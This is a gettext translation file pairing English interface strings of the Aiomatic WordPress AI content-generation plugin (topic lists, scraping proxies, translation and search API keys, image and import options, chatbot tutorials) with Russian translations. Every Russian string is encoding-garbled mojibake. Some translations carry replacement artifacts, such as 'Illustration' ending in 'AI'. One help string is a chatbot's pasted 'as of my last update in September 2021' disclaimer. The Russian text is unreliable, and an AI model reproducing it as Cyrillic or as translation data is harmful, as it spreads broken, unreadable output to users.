введенные в Поле " "ÐаÑтроек «СпиÑок Заголовоков ПоÑтов». ЕÑли вы введете значение здеÑÑŒ, будут " "Ñозданы новые Заголовки на оÑнове Ñтой Темы, а Ð·Ð½Ð°Ñ‡ÐµÐ½Ð¸Ñ Ð¸Ð· «СпиÑка " "Заголовоков ПоÑтов» будут перезапиÑаны. ЕÑли вы введете неÑколько Тем (по " "одной в Ñтроке), при каждом запуÑке будет выбиратьÑÑ ÑÐ»ÑƒÑ‡Ð°Ð¹Ð½Ð°Ñ Ð¢ÐµÐ¼Ð°. Это " "уÑтановит значение Шорткода %%topic%%, который можно иÑпользовать в Промптх " "ниже. Ð’Ñ‹ также Ñможете иÑпользовать пользовательÑкие Шорткоды, определенные " "в функции «Создание ПользовательÑких Шорткодов» в наÑтройках Правил — Ñто " "позволит вам Ñоздавать чаÑтично или полноÑтью Ñгенерированные иÑкуÑÑтвенным " "интеллектом Промпты, которые будут иÑпользоватьÑÑ Ð´Ð»Ñ Ð“ÐµÐ½ÐµÑ€Ð°Ñ‚Ð¾Ñ€Ð¾Ð² Контента." #: res/aiomatic-rules-list.php:3226 #, php-format msgid "" "If you set a post topic list here, the titles you entered in the \\'Post " "Title List\\' settings field will not be considered and titles will be auto " "generated based on this topic! Be sure to edit the \\'Title Prompt\\' " "settings from below to change the way titles will be created! Enter a post " "topic list, one on each line. If you leave this field blank, the titles from " "entered in the 'Post Title List' settings field will be used. If you enter a " "value here, new titles will be created, based on this topic and the values " "from the 'Post Title List' will be overwritten. If you enter multiple topics " "(one per line), a random topic will be selected at each run. This will set " "the value of the %%topic%% shortcode, which can be used in prompts below. " "You will also be able to use the custom shortcodes defined in the 'Custom " "Shortcode Creator' feature from the rule settings - this will allow you to " "create partially or fully AI generated prompts which will be used for the " "content generators." msgstr "" "ЕÑли вы уÑтановите здеÑÑŒ СпиÑок Тем ПоÑтов, Заголовки, которые вы ввели в " "Поле ÐаÑтроек \\'СпиÑок Заголовоков ПоÑтов\\', не будут учитыватьÑÑ, а " "заголовки будут автоматичеÑки Ñгенерированы на оÑнове Ñтой темы! ОбÑзательно " "отредактируйте ÐаÑтройки \\'Заголовок\\' ниже, чтобы изменить ÑпоÑоб " "ÑÐ¾Ð·Ð´Ð°Ð½Ð¸Ñ Ð—Ð°Ð³Ð¾Ð»Ð¾Ð²Ð¾ÐºÐ¾Ð²! Введите ÑпиÑок Тем ПоÑтов, по одной в каждой Ñтроке. " "ЕÑли вы оÑтавите Ñто поле пуÑтым, будут иÑпользоватьÑÑ Ð·Ð°Ð³Ð¾Ð»Ð¾Ð²ÐºÐ¸, введенные " "в поле ÐаÑтроек «СпиÑок Заголовоков ПоÑтов». ЕÑли вы введете значение здеÑÑŒ, " "будут Ñозданы новые заголовки на оÑнове Ñтой темы, а Ð·Ð½Ð°Ñ‡ÐµÐ½Ð¸Ñ Ð¸Ð· «СпиÑка " "Заголовоков ПоÑтов» будут перезапиÑаны. ЕÑли вы введете неÑколько Тем (по " "одной в Ñтроке), при каждом запуÑке будет выбиратьÑÑ ÑÐ»ÑƒÑ‡Ð°Ð¹Ð½Ð°Ñ Ñ‚ÐµÐ¼Ð°. Это " "уÑтановит значение Шорткода %%topic%%, который можно иÑпользовать в Промптх " "ниже. Ð’Ñ‹ также Ñможете иÑпользовать пользовательÑкие Шорткоды, определенные " "в функции «Создание ПользовательÑких Шорткодов» в ÐаÑтройках Правил — Ñто " "позволит вам Ñоздавать чаÑтично или полноÑтью Ñгенерированные иÑкуÑÑтвенным " "интеллектом Промпты, которые будут иÑпользоватьÑÑ Ð´Ð»Ñ Ð“ÐµÐ½ÐµÑ€Ð°Ñ‚Ð¾Ñ€Ð¾Ð² Контента." #: res/aiomatic-main.php:6373 msgid "" "If you want to create long content (over 10000 words) in a single post and " "you are getting undesired results, you can check this checkbox for a fix." msgstr "" "ЕÑли вы хотите Ñоздать длинный Контент (более 10000 Ñлов) в одном поÑте и " "получаете нежелательные результаты, вы можете уÑтановить Ñтот флажок Ð´Ð»Ñ " "иÑправлениÑ." #: res/aiomatic-main.php:7727 msgid "" "If you want to get maximum customizability for your shortcodes, check this " "checkbox. It will allow maximum customizability for content created by " "shortcodes." msgstr "" "ЕÑли вы хотите получить макÑимальную наÑтраиваемоÑÑ‚ÑŒ Ð´Ð»Ñ Ð²Ð°ÑˆÐ¸Ñ… шорткодов, " "уÑтановите Ñтот флажок. Это позволит макÑимально наÑтраивать контент, " "Ñоздаваемый шорткодами." #: res/aiomatic-spinner-list.php:4250 msgid "" "If you want to schedule the cron event manually in your server, to allow " "recurring editing of existing posts on your site, you should schedule this " "address:" msgstr "" "ЕÑли вы хотите запланировать Ñобытие cron вручную на Ñвоем Ñервере, чтобы " "разрешить повторное редактирование ÑущеÑтвующих Ñообщений на вашем Ñайте, " "вам Ñледует запланировать Ñтот адреÑ:" #: res/aiomatic-main.php:7437 msgid "" "If you want to use a proxy to crawl webpages, and it requires " "authentification, input it's authentification details here. Required format: " "username:password. You can input a comma separated list of users/passwords. " "If a proxy does not have a user/password, please leave it blank in the list. " "Example: user1:pass1,user2:pass2,,user4:pass4." msgstr "" "ЕÑли вы хотите иÑпользовать прокÑи-Ñервер Ð´Ð»Ñ Ð¾Ð±Ñ…Ð¾Ð´Ð° веб-Ñтраниц, и он " "требует аутентификации, введите здеÑÑŒ ÑÐ²ÐµÐ´ÐµÐ½Ð¸Ñ Ð¾Ð± аутентификации. Требуемый " "формат: Ð¸Ð¼Ñ Ð¿Ð¾Ð»ÑŒÐ·Ð¾Ð²Ð°Ñ‚ÐµÐ»Ñ: пароль. Ð’Ñ‹ можете ввеÑти Разделенный запÑтыми " "ÑпиÑок пользователей / паролей. ЕÑли прокÑи-Ñервер не имеет " "пользователÑ/паролÑ, пожалуйÑта, оÑтавьте его пуÑтым в ÑпиÑке. Пример: " "пользователь user1:pass1,user2:pass2,,user4:pass4." #: res/aiomatic-main.php:7418 msgid "" "If you want to use a proxy to crawl webpages, input it's address here. " "Required format: IP Address/URL:port. You can input a comma separated list " "of proxies." msgstr "" "ЕÑли вы хотите иÑпользовать прокÑи Ð´Ð»Ñ ÑÐºÐ°Ð½Ð¸Ñ€Ð¾Ð²Ð°Ð½Ð¸Ñ Ð²ÐµÐ±-Ñтраниц, введите его " "Ð°Ð´Ñ€ÐµÑ Ð·Ð´ÐµÑÑŒ. Требуемый формат: IP-адреÑ/URL:port. Ð’Ñ‹ можете ввеÑти " "Разделенный запÑтыми ÑпиÑок прокÑи-Ñерверов." #: res/aiomatic-main.php:2269 #, php-format msgid "" "If you want to use SerpAPI to get the related headings for the created posts," " you must add your API key here. By default, the plugin scrapes Bing Search " "for related queries. Get your API key here." msgstr "" "ЕÑли вы хотите иÑпользовать SerpAPI Ð´Ð»Ñ Ð¿Ð¾Ð»ÑƒÑ‡ÐµÐ½Ð¸Ñ ÑвÑзанных Заголовоков Ð´Ð»Ñ " "Ñозданных ПоÑтов, вы должны добавить здеÑÑŒ Ñвой ключ API. По умолчанию " "Плагин парÑит иÑÐ¿Ð¾Ð»ÑŒÐ·ÑƒÑ Ð¿Ð¾Ð¸Ñк Bing Ð´Ð»Ñ ÑвÑзанных запроÑов. Получите ключ API " "здеÑÑŒ ." #: res/aiomatic-main.php:2291 #, php-format msgid "" "If you want to use ValueSERP to get the related headings for the created " "posts, you must add your API key here. By default, the plugin scrapes Bing " "Search for related queries. Get your API key " "here." msgstr "" "ЕÑли вы хотите иÑпользовать ValueSERP Ð´Ð»Ñ Ð¿Ð¾Ð»ÑƒÑ‡ÐµÐ½Ð¸Ñ ÑоответÑтвующих " "Заголовоков Ð´Ð»Ñ Ñозданных ПоÑтов, вы должны добавить здеÑÑŒ Ñвой ключ API. По " "умолчанию Плагин очищает поиÑк Bing Ð´Ð»Ñ ÑвÑзанных запроÑов. Получите ключ " "API здеÑÑŒ." #: res/aiomatic-main.php:2405 #, php-format msgid "" "If you wish to use DeepL for translation, you must enter first a DeepL " "'Authentication Key'. Get one here. If you " "enter a value here, new options will become available in the 'Automatically " "Translate Content To' and 'Source Language' fields." msgstr "" "ЕÑли вы хотите иÑпользовать Deepl Ð´Ð»Ñ Ð¿ÐµÑ€ÐµÐ²Ð¾Ð´Ð°, вы должны Ñначала ввеÑти " "Deepl «Ключ аутентификации». Получить один" "здеÑÑŒ. ЕÑли вы введете значение здеÑÑŒ, новые опции Ñтанут доÑтупны в " "полÑÑ… «ÐвтоматичеÑки переводить Ñодержимое» и «ИÑходный Ñзык»." #: res/aiomatic-main.php:2446 #, php-format msgid "" "If you wish to use Microsoft for translation, you must enter first a " "Microsoft 'Access Key'. Learn how to get one " "here. If you enter a value here, new options will become available in " "the 'Automatically Translate Content To' and 'Source Language' fields." msgstr "" "ЕÑли вы хотите иÑпользовать Microsoft Ð´Ð»Ñ Ð¿ÐµÑ€ÐµÐ²Ð¾Ð´Ð°, вы должны Ñначала ввеÑти " "Microsoft Access Key. Узнайте, как получить его " "здеÑÑŒ . ЕÑли вы введете здеÑÑŒ значение, новые параметры Ñтанут доÑтупны " "в полÑÑ… «ÐвтоматичеÑки переводить Контент на» и «ИÑходный Ñзык»." #: res/aiomatic-main.php:2226 #, php-format msgid "" "If you wish to use the Google Search feature of the plugin when scraping " "keywords, enter a Google Search API key here. Get one here. Please enable the 'Custom Search API' in Google Cloud Console. Also, to search the " "entire web for results, please follow this " "tutorial. The search engine feature will work even without entering an " "API key here, but in this case, the Bing API will be used." msgstr "" "ЕÑли вы хотите иÑпользовать функцию поиÑка Google плагина при парÑинге " "ключевых Ñлов, введите здеÑÑŒ ключ API поиÑка Google. Получите один здеÑÑŒ. Включите API пользовательÑкого поиÑка в " "Google Cloud Console. Кроме того, Ð´Ð»Ñ " "поиÑка результатов по вÑей Ñети Ñледуйте Ñтому " "руководÑтву. Ð¤ÑƒÐ½ÐºÑ†Ð¸Ñ Ð¿Ð¾Ð¸Ñковой ÑиÑтемы будет работать даже без ввода " "здеÑÑŒ ключа API, но в Ñтом Ñлучае будет иÑпользоватьÑÑ Bing API." #: res/aiomatic-main.php:2076 #, php-format msgid "" "If you wish to use the HeadlessBrowserAPI to render JavaScript generated " "content for your scraped pages, enter your API key here. Get one here. If you enter a value here, new options " "will become available in the 'Use PhantomJs/Puppeteer/Tor To Parse " "JavaScript On Pages' in importing rule settings." msgstr "" "ЕÑли вы хотите иÑпользовать HeadlessBrowserAPI Ð´Ð»Ñ Ñ€ÐµÐ½Ð´ÐµÑ€Ð¸Ð½Ð³Ð° контента, " "Ñгенерированного JavaScript, Ð´Ð»Ñ Ð²Ð°ÑˆÐ¸Ñ… Ñкрапленных Ñтраниц, введите здеÑÑŒ " "Ñвой ключ API. Получите один здеÑÑŒ. ЕÑли вы " "введете здеÑÑŒ значение, Ñтанут доÑтупны новые параметры в разделе " "«ИÑпользовать PhantomJs/Puppeteer/Tor Ð´Ð»Ñ Ð°Ð½Ð°Ð»Ð¸Ð·Ð° JavaScript на Ñтраницах» в " "наÑтройках правил импорта." #: res/aiomatic-main.php:2383 #, php-format msgid "" "If you wish to use the official version of the Google Translator API for " "translation, you must enter first a Google API Key. Get one here. Please enable the 'Cloud Translation API' in Google Cloud Console. Translation will work " "even without even without entering an API key here, but in this case, an " "unofficial Google Translate API will be used." msgstr "" "ЕÑли вы хотите иÑпользовать официальную верÑию Google Translator API Ð´Ð»Ñ " "перевода, вы должны Ñначала ввеÑти ключ Google API. Возьми один здеÑÑŒ . Включите Cloud Translation API в Google Cloud Console . Перевод будет работать даже без " "ввода здеÑÑŒ ключа API, но в Ñтом Ñлучае будет иÑпользоватьÑÑ Ð½ÐµÐ¾Ñ„Ð¸Ñ†Ð¸Ð°Ð»ÑŒÐ½Ñ‹Ð¹ " "API Google Translate." #: res/aiomatic-main.php:1608 msgid "" "If you're a Cloudflare user and you are facing slowdowns in your content " "creation workflow, one potential remedy could be to extend the connection " "timeout on Cloudflare (if this is possible in your case). Another approach " "could be to deactivate CloudFlare while you are using the Aiomatic plugin on " "your site for long content creation (which uses multiple API requests)." msgstr "" "ЕÑли вы ÑвлÑетеÑÑŒ пользователем Cloudflare и ÑталкиваетеÑÑŒ Ñ Ð·Ð°Ð¼ÐµÐ´Ð»ÐµÐ½Ð¸ÐµÐ¼ " "рабочего процеÑÑа ÑÐ¾Ð·Ð´Ð°Ð½Ð¸Ñ ÐšÐ¾Ð½Ñ‚ÐµÐ½Ñ‚Ð°, одним из возможных ÑпоÑобов уÑÑ‚Ñ€Ð°Ð½ÐµÐ½Ð¸Ñ " "проблемы может быть увеличение времени Ð¾Ð¶Ð¸Ð´Ð°Ð½Ð¸Ñ ÑÐ¾ÐµÐ´Ð¸Ð½ÐµÐ½Ð¸Ñ Ð² Cloudflare " "(еÑли Ñто возможно в вашем Ñлучае). Другим подходом может быть Ð´ÐµÐ°ÐºÑ‚Ð¸Ð²Ð°Ñ†Ð¸Ñ " "CloudFlare, когда вы иÑпользуете Плагин Aiomatic на Ñвоем Ñайте Ð´Ð»Ñ ÑÐ¾Ð·Ð´Ð°Ð½Ð¸Ñ " "длинного Контента (который иÑпользует неÑколько запроÑов API)." #: res/aiomatic-main.php:1555 msgid "" "If you're looking to edit existing or newly published posts, Aiomatic also " "offers AI content editors and AI-generated featured images to help " "streamline the process. And with advanced features like AI model fine-tuning," " AI embeddings, and usage statistics, you can take your content creation to " "the next level and produce high-quality, engaging posts in no time." msgstr "" "ЕÑли вы хотите отредактировать ÑущеÑтвующие или недавно опубликованные ПоÑÑ‚Ñ‹," " Aiomatic также предлагает редакторы Контента AI и избранные изображениÑ, " "Ñозданные AI, чтобы упроÑтить процеÑÑ. Ð Ð±Ð»Ð°Ð³Ð¾Ð´Ð°Ñ€Ñ Ñ€Ð°Ñширенным функциÑм, " "таким как Ñ‚Ð¾Ñ‡Ð½Ð°Ñ Ð½Ð°Ñтройка модели AI, вÑтраивание AI и ÑтатиÑтика " "иÑпользованиÑ, вы можете вывеÑти Ñоздание Контента на новый уровень и " "Ñоздавать выÑококачеÑтвенные, привлекательные публикации в кратчайшие Ñроки." #: res/aiomatic-main.php:1614 msgid "If your issue is more technical, create a ticket and ask for support on" msgstr "" "ЕÑли ваша проблема ноÑит более техничеÑкий характер, Ñоздайте тикет и " "обратитеÑÑŒ за поддержкой на" #: res/aiomatic-amazon-list.php:4548 res/aiomatic-csv-list.php:1551 #: res/aiomatic-review-list.php:4701 res/aiomatic-rules-list.php:4937 #: res/aiomatic-youtube-list.php:4476 msgid "" "If your template supports \"Post Formats\", than you can select one here. If " "not, leave this at it's default value." msgstr "" "ЕÑли ваш шаблон поддерживает «Форматы поÑтов», вы можете выбрать его здеÑÑŒ. " "ЕÑли нет, оÑтавьте Ñто по умолчанию." #: aiomatic-automation.php:1148 res/aiomatic-amazon-list.php:1970 #: res/aiomatic-csv-list.php:419 res/aiomatic-review-list.php:2039 #: res/aiomatic-rules-list.php:2168 res/aiomatic-youtube-list.php:1941 msgid "" "If your template supports 'Post Formats', than you can select one here. If " "not, leave this at it's default value." msgstr "" "ЕÑли ваш шаблон поддерживает «Форматы поÑтов», вы можете выбрать его здеÑÑŒ. " "ЕÑли нет, оÑтавьте Ñто по умолчанию." #: res/aiomatic-amazon-list.php:81 res/aiomatic-review-list.php:81 #: res/aiomatic-rules-list.php:81 res/aiomatic-single-list.php:81 #: res/aiomatic-single-list.php:219 res/aiomatic-youtube-list.php:81 msgid "Igbo" msgstr "Игбо" #: res/aiomatic-languages.php:81 msgid "Igbo (Google Translate)" msgstr "Игбо (переводчик Google)" #: res/aiomatic-main.php:8282 res/aiomatic-main.php:8765 msgid "Illustration" msgstr "ИллюÑтрацAI" #: res/aiomatic-amazon-list.php:118 res/aiomatic-review-list.php:118 #: res/aiomatic-rules-list.php:118 res/aiomatic-single-list.php:118 #: res/aiomatic-single-list.php:256 res/aiomatic-youtube-list.php:118 msgid "Ilocano" msgstr "Илокано" #: res/aiomatic-languages.php:119 msgid "Ilocano (Google Translate)" msgstr "Илокано (Переводчик Google)" #: res/aiomatic-amazon-list.php:1982 res/aiomatic-amazon-list.php:4578 #: res/aiomatic-csv-list.php:431 res/aiomatic-csv-list.php:1581 #: res/aiomatic-main.php:3415 res/aiomatic-main.php:9548 #: res/aiomatic-review-list.php:2051 res/aiomatic-review-list.php:4731 #: res/aiomatic-rules-list.php:2180 res/aiomatic-rules-list.php:4967 #: res/aiomatic-youtube-list.php:1953 res/aiomatic-youtube-list.php:4506 msgid "Image" msgstr "Картинка" #: aiomatic-automation.php:784 msgid "Image Caption" msgstr "ПодпиÑÑŒ к Изображению" #: res/aiomatic-main.php:8326 res/aiomatic-main.php:8845 msgid "Image Category: " msgstr "ÐšÐ°Ñ‚ÐµÐ³Ð¾Ñ€Ð¸Ñ Ð¸Ð·Ð¾Ð±Ñ€Ð°Ð¶ÐµÐ½Ð¸Ñ: " #: res/aiomatic-main.php:4533 msgid "Image Compression Quality:" msgstr "КачеÑтво Ð¡Ð¶Ð°Ñ‚Ð¸Ñ Ð˜Ð·Ð¾Ð±Ñ€Ð°Ð¶ÐµÐ½Ð¸Ñ:" #: res/aiomatic-playground.php:57 msgid "" "Image generation is a feature where the AI generates images based on prompts." " You would typically enter a text prompt, and the AI would generate an image " "that represents that prompt. This could be used for a variety of creative " "purposes, such as generating artwork or visualizing concepts. Please note " "that as of my last update in September 2021, DALL-E 2 and Stable Diffusion " "were not released or announced, so I can't provide specific details about " "these technologies." msgstr "" "Ð“ÐµÐ½ÐµÑ€Ð°Ñ†Ð¸Ñ Ð¸Ð·Ð¾Ð±Ñ€Ð°Ð¶ÐµÐ½Ð¸Ð¹ — Ñто функциÑ, при которой AI генерирует Ð¸Ð·Ð¾Ð±Ñ€Ð°Ð¶ÐµÐ½Ð¸Ñ " "на оÑнове Промптов. Обычно вы вводите Промпт, и AI Ñоздает изображение, " "предÑтавлÑющее Ñтот Промпт. Это может быть иÑпользовано Ð´Ð»Ñ Ñ€Ð°Ð·Ð»Ð¸Ñ‡Ð½Ñ‹Ñ… " "творчеÑких целей, таких как Ñоздание иллюÑтраций или Ð²Ð¸Ð·ÑƒÐ°Ð»Ð¸Ð·Ð°Ñ†Ð¸Ñ ÐºÐ¾Ð½Ñ†ÐµÐ¿Ñ†Ð¸Ð¹. " "Обратите внимание, что на момент моего поÑледнего Ð¾Ð±Ð½Ð¾Ð²Ð»ÐµÐ½Ð¸Ñ Ð² ÑентÑбре 2021 " "года DALL-E 2 и Stable Diffusion не были выпущены или анонÑированы, поÑтому " "Ñ Ð½Ðµ могу предоÑтавить конкретные ÑÐ²ÐµÐ´ÐµÐ½Ð¸Ñ Ð¾Ð± Ñтих технологиÑÑ…." #: res/aiomatic-playground.php:55 msgid "Image Generation Using DALL-E 2 and Stable Diffusion" msgstr "Ð“ÐµÐ½ÐµÑ€Ð°Ñ†Ð¸Ñ Ð¸Ð·Ð¾Ð±Ñ€Ð°Ð¶ÐµÐ½Ð¸Ñ Ñ Ð¸Ñпользованием DALL-E 2 и Stable Diffusion" #: res/aiomatic-chatbot.php:2501 msgid "Image Generator Failed User Message:" msgstr "Сообщение Пользователю о Ñбое Генератора Изображений:" #: res/aiomatic-amazon-list.php:1602 res/aiomatic-amazon-list.php:4155 #: res/aiomatic-review-list.php:1671 res/aiomatic-review-list.php:4308 #: res/aiomatic-rules-list.php:1804 res/aiomatic-rules-list.php:4556 #: res/aiomatic-single-list.php:2288 res/aiomatic-single-list.php:3038 #: res/aiomatic-single-list.php:4291 res/aiomatic-single-list.php:5605 #: res/aiomatic-single-list.php:6971 res/aiomatic-youtube-list.php:1558 #: res/aiomatic-youtube-list.php:4066 msgid "Image Generator Options" msgstr "Параметры Генератора изображений" #: aiomatic-automation.php:541 msgid "Image Keyword Search" msgstr "ПоиÑк изображений по ключевым Ñловам" #: aiomatic-automation.php:777 aiomatic-automation.php:802 #: aiomatic-automation.php:833 msgid "Image Link" msgstr "СÑылка на изображение" #: res/aiomatic-main.php:8462 msgid "Image Max Width: " msgstr "Изображение значка Max-Width" #: res/aiomatic-main.php:8981 msgid "Image Min Height: " msgstr "ÐœÐ¸Ð½Ð¸Ð¼Ð°Ð»ÑŒÐ½Ð°Ñ Ð²Ñ‹Ñота изображениÑ: " #: res/aiomatic-main.php:8447 res/aiomatic-main.php:8966 msgid "Image Min Width: " msgstr "ÐœÐ¸Ð½Ð¸Ð¼Ð°Ð»ÑŒÐ½Ð°Ñ ÑˆÐ¸Ñ€Ð¸Ð½Ð° изображениÑ: " #: res/aiomatic-main.php:2597 msgid "Image Model:" msgstr "Модель изображениÑ:" #: res/aiomatic-main.php:8783 msgid "Image Orientation: " msgstr "ÐžÑ€Ð¸ÐµÐ½Ñ‚Ð°Ñ†Ð¸Ñ Ð¸Ð·Ð¾Ð±Ñ€Ð°Ð¶ÐµÐ½Ð¸Ñ: " #: aiomatic-automation.php:119 aiomatic-automation.php:149 #: aiomatic-automation.php:173 msgid "Image Size" msgstr "Размер изображениÑ" #: res/aiomatic-main.php:4403 msgid "Image Storage Options:" msgstr "Варианты Ñ…Ñ€Ð°Ð½ÐµÐ½Ð¸Ñ Ð¸Ð·Ð¾Ð±Ñ€Ð°Ð¶ÐµÐ½Ð¸Ð¹:" #: aiomatic-automation.php:809 msgid "Image Text" msgstr "ТекÑÑ‚ изображениÑ" #: res/aiomatic-main.php:8265 msgid "Image Types To Search:" msgstr "Типы изображений Ð´Ð»Ñ Ð¿Ð¾Ð¸Ñка: " #: res/aiomatic-main.php:8747 msgid "Image Types To Search: " msgstr "Типы изображений Ð´Ð»Ñ Ð¿Ð¾Ð¸Ñка: " #: aiomatic-helpers.php:458 msgid "iMediamatic Instagram Bot" msgstr "iMediamatic ИнÑтаграм-бот" #: res/aiomatic-assistants.php:307 msgid "Import Assistants From File" msgstr "Импортировать аÑÑиÑтентов из файла" #: res/aiomatic-assistants.php:132 msgid "Import Assistants From OpenAI" msgstr "Импортировать аÑÑиÑтентов из OpenAI" #: res/aiomatic-training.php:316 msgid "Import Content or Excerpt" msgstr "Импорт Контента или ÐнонÑа" #: res/aiomatic-assistants.php:350 msgid "Import Default Assistants" msgstr "Импортировать ÐÑÑиÑтентов по умолчанию" #: res/aiomatic-assistants.php:338 msgid "Import Default Assistants (This Can Take For A While)" msgstr "" "Импортировать аÑÑиÑтентов по умолчанию (Ñто может занÑÑ‚ÑŒ некоторое времÑ)" #: res/aiomatic-shortcodes.php:462 res/aiomatic-shortcodes.php:474 msgid "Import Default Forms" msgstr "Импорт Форм по Умолчанию" #: res/aiomatic-automation-list.php:2160 msgid "Import Default OmniBlock Templates" msgstr "Импорт шаблонов OmniBlock по умолчанию" #: res/aiomatic-automation-list.php:2148 msgid "Import Default OmniBlock Templates (This Can Take For A While)" msgstr "" "Импортируйте шаблоны OmniBlock по умолчанию (Ñто может занÑÑ‚ÑŒ некоторое " "времÑ)" #: res/aiomatic-chatbot.php:5670 msgid "Import Default Personas" msgstr "Импортировать перÑоны по умолчанию" #: res/aiomatic-chatbot.php:5658 msgid "Import Default Personas (This Can Take For A While)" msgstr "Импортируйте перÑоны по умолчанию (Ñто может занÑÑ‚ÑŒ некоторое времÑ)" #: res/aiomatic-shortcodes.php:393 res/aiomatic-shortcodes.php:433 msgid "Import Forms From File" msgstr "Импорт Форм из Файла" #: res/aiomatic-automation-list.php:2117 msgid "Import OmniBlock Templates From File" msgstr "Импорт шаблонов OmniBlock из файла" #: res/aiomatic-chatbot.php:5627 msgid "Import Personas From File" msgstr "Импортировать перÑоны из файла" #: res/aiomatic-amazon-list.php:2393 res/aiomatic-automation-list.php:4955 #: res/aiomatic-csv-list.php:940 res/aiomatic-review-list.php:2462 #: res/aiomatic-rules-list.php:2590 res/aiomatic-youtube-list.php:2364 msgid "Importing is Running" msgstr "Импорт выполнÑетÑÑ" #: res/aiomatic-main.php:7876 msgid "Improve Royalty Free Featured Image Precision Using This Service:" msgstr "" "Улучшите точноÑÑ‚ÑŒ избранных изображений без лицензионных отчиÑлений Ñ " "помощью Ñтой уÑлуги:" #: res/aiomatic-main.php:4016 msgid "Improve YouTube Video Search Keywords Using AI:" msgstr "Улучшите ключевые Ñлова Ð´Ð»Ñ Ð¿Ð¾Ð¸Ñка видео на YouTube Ñ Ð¿Ð¾Ð¼Ð¾Ñ‰ÑŒÑŽ AI:" #: res/aiomatic-more.php:22 msgid "" "In addition to the powerful core features, Aiomatic has some hidden gems " "that will take your website to the next level. Let's explore these exciting " "features and see how they can supercharge your site." msgstr "" "Ð’ дополнение к мощным оÑновным функциÑм, в Aiomatic еÑÑ‚ÑŒ неÑколько Ñкрытых " "жемчужин, которые выведут ваш Ñайт на новый уровень. Давайте изучим Ñти " "интереÑные функции и поÑмотрим, как они могут улучшить ваш Ñайт." #: res/aiomatic-shortcodes.php:115 msgid "" "In case you want to get some inspiration on how to create your own forms or " "you want to get started really quick with using the AI Forms functionality " "of the plugin, you can go ahead and import the default forms which come " "bundled with this plugin. To do this, go to the 'AI Forms Importer/Exporter' " "tab and click the 'Import Default Forms' button." msgstr "" "ЕÑли вы хотите получить вдохновение в том, как Ñоздавать Ñвои ÑобÑтвенные " "Формы, или вы хотите очень быÑтро начать работу Ñ Ð¸Ñпользованием " "функциональноÑти AI Forms Плагина, вы можете пойти дальше и импортировать " "формы по умолчанию, которые ПоÑтавлÑÑŽÑ‚ÑÑ Ð² комплекте Ñ Ñтим Плагином. Ð”Ð»Ñ " "Ñтого перейдите в «Импортер форм AI»." #: res/aiomatic-amazon-list.php:2393 res/aiomatic-automation-list.php:4955 #: res/aiomatic-csv-list.php:940 res/aiomatic-review-list.php:2462 #: res/aiomatic-rules-list.php:2590 res/aiomatic-youtube-list.php:2364 msgid "In Progress" msgstr "ИзучаетÑÑ" #: res/aiomatic-spinner-list.php:893 msgid "" "In the 'Advanced AI API Settings' tab, you can change advanced AI model " "settings, which will be used when editing content. This could include things " "like the complexity of the language used, the tone of the content, and more." msgstr "" "Ðа вкладке «Дополнительные ÐаÑтройки AI API» вы можете изменить раÑширенные " "ÐаÑтройки модели AI, которые будут иÑпользоватьÑÑ Ð¿Ñ€Ð¸ редактировании " "Контента. Это может включать в ÑÐµÐ±Ñ Ñ‚Ð°ÐºÐ¸Ðµ вещи, как ÑложноÑÑ‚ÑŒ иÑпользуемого " "Ñзыка, тон Контента и многое другое." #: res/aiomatic-spinner-list.php:872 msgid "" "In the 'Editing Templates and Options' tab, you can set how to edit posts. " "Here are the options:" msgstr "" "Ðа вкладке «Редактирование Шаблонов и Параметров» вы можете указать, как " "редактировать ПоÑÑ‚Ñ‹. Вот варианты:" #: res/aiomatic-spinner-list.php:868 msgid "" "In the 'Manual Content Editing Settings' tab, you can set up the conditions " "for manual post editing. This is useful for editing existing posts. You can " "set detailed filters on what posts/pages/custom post types to automatically " "edit." msgstr "" "Ðа вкладке «ÐаÑтройки Ñ€ÐµÐ´Ð°ÐºÑ‚Ð¸Ñ€Ð¾Ð²Ð°Ð½Ð¸Ñ ÐšÐ¾Ð½Ñ‚ÐµÐ½Ñ‚Ð° вручную» вы можете наÑтроить " "уÑÐ»Ð¾Ð²Ð¸Ñ Ð´Ð»Ñ Ñ€ÐµÐ´Ð°ÐºÑ‚Ð¸Ñ€Ð¾Ð²Ð°Ð½Ð¸Ñ ÐŸÐ¾Ñта вручную. Это полезно Ð´Ð»Ñ Ñ€ÐµÐ´Ð°ÐºÑ‚Ð¸Ñ€Ð¾Ð²Ð°Ð½Ð¸Ñ " "ÑущеÑтвующих ПоÑтов. Ð’Ñ‹ можете уÑтановить подробные фильтры Ð´Ð»Ñ " "автоматичеÑки редактируемых ПоÑтов/Страниц/ПользовательÑких Типов ПоÑтов." #: res/aiomatic-chatbot.php:665 msgid "" "In the Aiomatic settings page, navigate to the \"AI Chatbot\" menu of the " "plugin. You will be able to customize the chatbot in the 'Chatbot " "Customization', 'Chatbot Default Styling', 'Chatbot Settings' and 'Default " "API Parameters' tabs. Here, you can define how the chatbot will respond to " "specific user inputs. You can also change the visual style and appearance of " "the chatbot. Don't forget to always save your changes." msgstr "" "Ðа Ñтранице наÑтроек Aiomatic перейдите в меню «AI Chatbot» плагина. Ð’Ñ‹ " "Ñможете наÑтроить чат-бота на вкладках «ÐаÑтройка чат-бота», «Стили чат-бота " "по умолчанию», «ÐаÑтройки чат-бота» и «Параметры API по умолчанию». ЗдеÑÑŒ вы " "можете определить, как чат-бот будет реагировать на определенные дейÑÑ‚Ð²Ð¸Ñ " "пользователÑ. Ð’Ñ‹ также можете изменить визуальный Ñтиль и внешний вид чат-" "бота. Ðе забывайте вÑегда ÑохранÑÑ‚ÑŒ изменениÑ." #: res/aiomatic-chatbot.php:663 msgid "" "In this tutorial, I'll walk through the process of setting up an AI-powered " "chatbot on your WordPress website using the Aiomatic WordPress plugin. This " "plugin allows you to integrate AI language models to create a highly " "customizable chatbot that can interact with your website visitors." msgstr "" "Ð’ Ñтом уроке Ñ Ñ€Ð°ÑÑкажу о процеÑÑе ÐаÑтройки Чат-бота Ñ Ð¸ÑкуÑÑтвенным " "интеллектом на вашем веб-Ñайте WordPress Ñ Ð¿Ð¾Ð¼Ð¾Ñ‰ÑŒÑŽ Плагина Aiomatic " "WordPress. Этот Плагин позволÑет интегрировать Ñзыковые модели AI Ð´Ð»Ñ " "ÑÐ¾Ð·Ð´Ð°Ð½Ð¸Ñ Ð½Ð°Ñтраиваемого Чат-бота, который может взаимодейÑтвовать Ñ " "поÑетителÑми вашего Ñайта." #: res/aiomatic-spinner-list.php:853 msgid "" "In this tutorial, we will walk you through each step of setting up and using " "this feature, from installation and activation of the plugin, to configuring " "automatic and manual editing settings, to defining your editing templates " "and options, and finally, to adjusting advanced AI API settings for the " "editing process. By the end of this guide, you'll be able to harness the " 